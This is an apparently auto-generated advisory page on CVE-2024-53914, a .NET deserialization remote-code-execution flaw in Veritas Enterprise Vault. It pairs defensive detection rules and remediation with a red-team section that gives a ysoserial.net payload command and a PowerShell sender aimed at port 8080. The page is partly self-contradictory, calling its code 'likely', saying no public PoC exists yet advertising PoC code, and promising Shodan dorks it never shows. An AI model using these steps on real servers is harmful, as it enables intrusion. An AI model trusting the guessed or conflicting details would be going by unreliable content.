CVE-2024-53914
Executive Summary
CVE-2024-53914 is a critical remote code execution vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving solution. The flaw resides in the server's handling of .NET Remoting traffic, where untrusted data received on a TCP port is deserialized without proper validation. This allows an unauthenticated, remote attacker to execute arbitrary code on the target system with the privileges of the Enterprise Vault service account. The vulnerability has a CVSS score of 9.8, indicating a critical severity level. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the risk is significant due to the potential for full system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): High (H) - Complete disclosure of all data on the system.
- Integrity (I): High (H) - Complete compromise of system integrity.
- Availability (A): High (H) - Total loss of availability, potentially leading to denial of service.
Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive to attackers.
Deep Dive & Mechanics
The vulnerability is a classic .NET deserialization attack. Veritas Enterprise Vault uses .NET Remoting for inter-process communication. The server listens on a TCP port for incoming .NET Remoting requests. When a client sends a serialized object, the server deserializes it without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary code. This is possible because .NET's BinaryFormatter (or similar deserializers) can be tricked into instantiating objects that trigger code execution during the deserialization process.
The attack flow:
- Attacker identifies a Veritas Enterprise Vault server with .NET Remoting exposed.
- Attacker crafts a malicious .NET serialized payload (e.g., using
System.Configuration.Install.AssemblyInstallerorSystem.Diagnostics.Process). - Attacker sends the payload to the .NET Remoting TCP port.
- The server deserializes the payload, triggering code execution.
- The attacker gains a shell or executes commands with the privileges of the Enterprise Vault service account.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-15.2):
The server likely uses a BinaryFormatter or SoapFormatter to deserialize incoming data without any type validation or safe deserialization practices.
// Vulnerable: Direct deserialization without validation
TcpChannel channel = new TcpChannel(port);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject), "RemoteObject", WellKnownObjectMode.Singleton);
Patched Code (15.2+):
The patched version likely implements a custom serialization binder that restricts allowed types, or switches to a safer deserialization method like Newtonsoft.Json with TypeNameHandling.None or uses a SerializationBinder to whitelist safe types.
// Patched: Using a safe deserialization binder
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new SafeSerializationBinder(); // Custom binder that only allows specific types
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Environment: A Windows Server 2019/2022 with Veritas Enterprise Vault 15.1 installed.
- Tools: ysoserial.net (for generating .NET deserialization payloads), netcat or PowerShell for network communication.
- Network: Ensure the attacker machine can reach the target's .NET Remoting port (default 8080 or custom).
Exploitation Steps:
- Identify the .NET Remoting port (e.g., using Nmap:
nmap -p 8080 --script msrpc-enum <target>). - Generate a malicious payload using ysoserial.net:
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "calc.exe" -o raw > payload.bin - Send the payload to the target:
$payload = [System.IO.File]::ReadAllBytes("payload.bin") $tcp = New-Object System.Net.Sockets.TcpClient('<target_ip>', 8080) $stream = $tcp.GetStream() $stream.Write($payload, 0, $payload.Length) $stream.Close() $tcp.Close() - If successful, the command (e.g.,
calc.exe) will execute on the target.
Note: No public exploit code is available, so this is a conceptual demonstration.
Blue Team (Defensive)
Detection & Response:
- Monitor .NET Remoting Traffic: Look for unusual data patterns on the .NET Remoting port (e.g., large binary blobs).
- Enable Logging: Enable .NET Remoting logging on the server to capture deserialization attempts.
- Network Segmentation: Restrict access to the .NET Remoting port to only trusted IPs.
- Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized executables.
- Endpoint Detection: Deploy EDR solutions that can detect deserialization attacks (e.g., Sysmon Event ID 7 for module loads).
Indicators of Compromise (IOCs)
- Network IOCs:
- Unusual TCP connections to port 8080 (or custom .NET Remoting port) from untrusted IPs.
- Large binary payloads in network traffic to the .NET Remoting port.
- Host IOCs:
- Unexpected child processes spawned by the Enterprise Vault service (e.g.,
calc.exe,cmd.exe,powershell.exe). - Unusual DLL loads in the Enterprise Vault process (e.g.,
System.Configuration.Install.dll,System.Management.Automation.dll). - Event ID 4104 (PowerShell script block logging) if PowerShell is used in the payload.
- Unexpected child processes spawned by the Enterprise Vault service (e.g.,
- File IOCs:
- Temporary files created in
%TEMP%or%WINDIR%\Tempwith random names. - Presence of
ysoserial.netor similar tools on the network.
- Temporary files created in
Detection Engineering
YARA Rule
rule CVE_2024_53914_Deserialization_Payload {
meta:
description = "Detects .NET deserialization payloads targeting Veritas Enterprise Vault"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53914"
strings:
$binary_formatter = { 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 }
$activity_surrogate = "ActivitySurrogateSelectorFromFile" nocase
$assembly_installer = "System.Configuration.Install.AssemblyInstaller" nocase
$process_start = "System.Diagnostics.Process" nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-53914 .NET Remoting Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-53914 via .NET Remoting traffic
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationPort: 8080
Initiated: true
Image|endswith: '\EnterpriseVault.exe'
condition: selection
falsepositives:
- Legitimate Enterprise Vault client connections
level: high
Suricata Rule
alert tcp any any -> $HOME_NET 8080 (msg:"CVE-2024-53914 .NET Remoting Deserialization Attempt"; flow:to_server,established; content:"|00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00|"; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor patch by upgrading to Veritas Enterprise Vault 15.2 or later.
- Network Restriction: Block access to the .NET Remoting port (default 8080) from untrusted networks using firewalls.
- Disable .NET Remoting: If not required, disable the .NET Remoting service entirely.
Long-term Measures:
- Implement Network Segmentation: Place Enterprise Vault servers in a secure network segment with strict access controls.
- Enable Logging and Monitoring: Continuously monitor for suspicious .NET Remoting traffic and deserialization attempts.
- Apply Least Privilege: Run the Enterprise Vault service with the minimum necessary privileges.
- Regular Patching: Establish a patch management process to apply security updates promptly.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.